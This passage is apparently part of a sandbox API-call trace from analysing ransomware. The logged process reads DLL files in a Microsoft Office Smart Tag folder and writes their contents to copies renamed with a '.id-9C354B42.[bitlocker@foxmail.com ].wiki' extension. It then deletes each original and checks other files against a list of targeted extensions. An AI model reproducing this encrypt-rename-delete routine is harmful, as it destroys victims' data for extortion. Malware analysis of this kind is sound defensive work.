(lpString=".jpg") returned 4 [0194.602] lstrcmpiW (lpString1=".jpg", lpString2=".LEX") returned -1 [0194.602] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0194.603] lstrlenW (lpString="FBIBLIO.DLL") returned 11 [0194.603] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0194.603] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=123776) returned 1 [0194.603] CloseHandle (hObject=0x1e0) returned 1 [0194.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll")) returned 0x20 [0194.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.603] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0194.604] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.604] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.604] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0194.604] GetLastError () returned 0x0 [0194.604] ReadFile (in: hFile=0x1e0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x1e380, lpOverlapped=0x0) returned 1 [0194.631] WriteFile (in: hFile=0x1dc, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x1e390, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0x1e390, lpOverlapped=0x0) returned 1 [0194.634] ReadFile (in: hFile=0x1e0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0194.634] WriteFile (in: hFile=0x1dc, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xea, lpOverlapped=0x0) returned 1 [0194.634] SetEndOfFile (hFile=0x1dc) returned 1 [0194.634] CloseHandle (hObject=0x1dc) returned 1 [0194.634] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.634] SetEndOfFile (hFile=0x1e0) returned 1 [0194.635] CloseHandle (hObject=0x1e0) returned 1 [0194.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.636] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll")) returned 1 [0194.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0194.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0194.636] lstrlenW (lpString=".doc") returned 4 [0194.636] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0194.636] lstrlenW (lpString=".docx") returned 5 [0194.636] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0194.636] lstrlenW (lpString=".pdf") returned 4 [0194.636] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0194.636] lstrlenW (lpString=".xls") returned 4 [0194.636] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0194.636] lstrlenW (lpString=".xlsx") returned 5 [0194.636] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0194.636] lstrlenW (lpString=".ppt") returned 4 [0194.636] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0194.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0194.636] lstrlenW (lpString=".zip") returned 4 [0194.636] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0194.636] lstrlenW (lpString=".rar") returned 4 [0194.636] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0194.636] lstrlenW (lpString=".bz2") returned 4 [0194.636] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0194.637] lstrlenW (lpString=".7z") returned 3 [0194.637] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0194.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0194.637] lstrlenW (lpString=".dbf") returned 4 [0194.637] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0194.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0194.637] lstrlenW (lpString=".1cd") returned 4 [0194.637] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0194.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0194.637] lstrlenW (lpString=".jpg") returned 4 [0194.637] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0194.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0194.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0194.637] lstrlenW (lpString=".doc") returned 4 [0194.637] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0194.637] lstrlenW (lpString=".docx") returned 5 [0194.637] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0194.637] lstrlenW (lpString=".pdf") returned 4 [0194.637] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0194.637] lstrlenW (lpString=".xls") returned 4 [0194.637] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0194.637] lstrlenW (lpString=".xlsx") returned 5 [0194.637] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0194.637] lstrlenW (lpString=".ppt") returned 4 [0194.637] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0194.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0194.637] lstrlenW (lpString=".zip") returned 4 [0194.637] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0194.638] lstrlenW (lpString=".rar") returned 4 [0194.638] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0194.638] lstrlenW (lpString=".bz2") returned 4 [0194.638] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0194.638] lstrlenW (lpString=".7z") returned 3 [0194.638] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0194.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0194.638] lstrlenW (lpString=".dbf") returned 4 [0194.638] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0194.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0194.638] lstrlenW (lpString=".1cd") returned 4 [0194.638] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0194.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0194.638] lstrlenW (lpString=".jpg") returned 4 [0194.638] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0194.638] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0194.638] lstrlenW (lpString="FPERSON.DLL") returned 11 [0194.638] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0194.639] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=217984) returned 1 [0194.639] CloseHandle (hObject=0x1e0) returned 1 [0194.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll")) returned 0x20 [0194.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.639] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0194.639] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.639] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.639] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0194.640] GetLastError () returned 0x0 [0194.640] ReadFile (in: hFile=0x1e0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x35380, lpOverlapped=0x0) returned 1 [0194.681] WriteFile (in: hFile=0x1dc, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x35390, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0x35390, lpOverlapped=0x0) returned 1 [0194.685] ReadFile (in: hFile=0x1e0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0194.685] WriteFile (in: hFile=0x1dc, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xea, lpOverlapped=0x0) returned 1 [0194.686] SetEndOfFile (hFile=0x1dc) returned 1 [0194.686] CloseHandle (hObject=0x1dc) returned 1 [0194.686] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.686] SetEndOfFile (hFile=0x1e0) returned 1 [0194.688] CloseHandle (hObject=0x1e0) returned 1 [0194.688] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.688] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll")) returned 1 [0194.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0194.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0194.688] lstrlenW (lpString=".doc") returned 4 [0194.688] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0194.688] lstrlenW (lpString=".docx") returned 5 [0194.688] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0194.688] lstrlenW (lpString=".pdf") returned 4 [0194.688] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0194.688] lstrlenW (lpString=".xls") returned 4 [0194.688] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0194.688] lstrlenW (lpString=".xlsx") returned 5 [0194.688] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0194.688] lstrlenW (lpString=".ppt") returned 4 [0194.689] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0194.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0194.689] lstrlenW (lpString=".zip") returned 4 [0194.689] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0194.689] lstrlenW (lpString=".rar") returned 4 [0194.689] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0194.689] lstrlenW (lpString=".bz2") returned 4 [0194.689] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0194.689] lstrlenW (lpString=".7z") returned 3 [0194.689] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0194.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0194.689] lstrlenW (lpString=".dbf") returned 4 [0194.689] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0194.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0194.689] lstrlenW (lpString=".1cd") returned 4 [0194.689] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0194.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0194.689] lstrlenW (lpString=".jpg") returned 4 [0194.689] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0194.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0194.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0194.689] lstrlenW (lpString=".doc") returned 4 [0194.689] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0194.689] lstrlenW (lpString=".docx") returned 5 [0194.689] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0194.689] lstrlenW (lpString=".pdf") returned 4 [0194.689] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0194.794] lstrlenW (lpString=".xls") returned 4 [0194.794] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0194.794] lstrlenW (lpString=".xlsx") returned 5 [0194.794] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0194.794] lstrlenW (lpString=".ppt") returned 4 [0194.794] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0194.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0194.794] lstrlenW (lpString=".zip") returned 4 [0194.795] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0194.795] lstrlenW (lpString=".rar") returned 4 [0194.795] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0194.795] lstrlenW (lpString=".bz2") returned 4 [0194.795] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0194.795] lstrlenW (lpString=".7z") returned 3 [0194.795] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0194.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0194.795] lstrlenW (lpString=".dbf") returned 4 [0194.795] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0194.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0194.795] lstrlenW (lpString=".1cd") returned 4 [0194.795] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0194.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0194.795] lstrlenW (lpString=".jpg") returned 4 [0194.795] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0194.795] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0194.795] lstrlenW (lpString="FSTOCK.DLL") returned 10 [0194.795] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0194.796] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=159104) returned 1 [0194.796] CloseHandle (hObject=0x1d0) returned 1 [0194.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll")) returned 0x20 [0194.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.796] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0194.796] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.796] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.796] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0194.797] GetLastError () returned 0x0 [0194.797] ReadFile (in: hFile=0x1d0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x26d80, lpOverlapped=0x0) returned 1 [0194.860] WriteFile (in: hFile=0x1e0, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x26d90, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0x26d90, lpOverlapped=0x0) returned 1 [0194.863] ReadFile (in: hFile=0x1d0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0194.863] WriteFile (in: hFile=0x1e0, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0194.864] SetEndOfFile (hFile=0x1e0) returned 1 [0194.864] CloseHandle (hObject=0x1e0) returned 1 [0194.864] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.864] SetEndOfFile (hFile=0x1d0) returned 1 [0194.865] CloseHandle (hObject=0x1d0) returned 1 [0194.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.865] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll")) returned 1 [0194.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL") returned 67 [0194.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL") returned 67 [0194.866] lstrlenW (lpString=".doc") returned 4 [0194.866] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0194.866] lstrlenW (lpString=".docx") returned 5 [0194.866] lstrcmpiW (lpString1=".docx", lpString2="K.DLL") returned -1 [0194.866] lstrlenW (lpString=".pdf") returned 4 [0194.866] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0194.866] lstrlenW (lpString=".xls") returned 4 [0194.866] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0194.866] lstrlenW (lpString=".xlsx") returned 5 [0194.866] lstrcmpiW (lpString1=".xlsx", lpString2="K.DLL") returned -1 [0194.866] lstrlenW (lpString=".ppt") returned 4 [0194.866] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0194.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL") returned 67 [0194.866] lstrlenW (lpString=".zip") returned 4 [0194.866] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0194.866] lstrlenW (lpString=".rar") returned 4 [0194.866] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0194.866] lstrlenW (lpString=".bz2") returned 4 [0194.866] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0194.866] lstrlenW (lpString=".7z") returned 3 [0194.866] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0194.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL") returned 67 [0194.866] lstrlenW (lpString=".dbf") returned 4 [0194.866] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0194.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL") returned 67 [0194.866] lstrlenW (lpString=".1cd") returned 4 [0194.866] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0194.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL") returned 67 [0194.866] lstrlenW (lpString=".jpg") returned 4 [0194.867] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0194.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL") returned 67 [0194.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL") returned 67 [0194.867] lstrlenW (lpString=".doc") returned 4 [0194.867] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0194.867] lstrlenW (lpString=".docx") returned 5 [0194.867] lstrcmpiW (lpString1=".docx", lpString2="K.DLL") returned -1 [0194.867] lstrlenW (lpString=".pdf") returned 4 [0194.867] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0194.867] lstrlenW (lpString=".xls") returned 4 [0194.867] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0194.867] lstrlenW (lpString=".xlsx") returned 5 [0194.867] lstrcmpiW (lpString1=".xlsx", lpString2="K.DLL") returned -1 [0194.867] lstrlenW (lpString=".ppt") returned 4 [0194.867] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0194.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL") returned 67 [0194.867] lstrlenW (lpString=".zip") returned 4 [0194.867] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0194.867] lstrlenW (lpString=".rar") returned 4 [0194.867] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0194.867] lstrlenW (lpString=".bz2") returned 4 [0194.867] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0194.867] lstrlenW (lpString=".7z") returned 3 [0194.867] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0194.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL") returned 67 [0194.867] lstrlenW (lpString=".dbf") returned 4 [0194.867] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0194.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL") returned 67 [0194.867] lstrlenW (lpString=".1cd") returned 4 [0194.867] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0194.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL") returned 67 [0194.868] lstrlenW (lpString=".jpg") returned 4 [0194.868] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0194.868] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0194.868] lstrlenW (lpString="IMCONTACT.DLL") returned 13 [0194.868] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 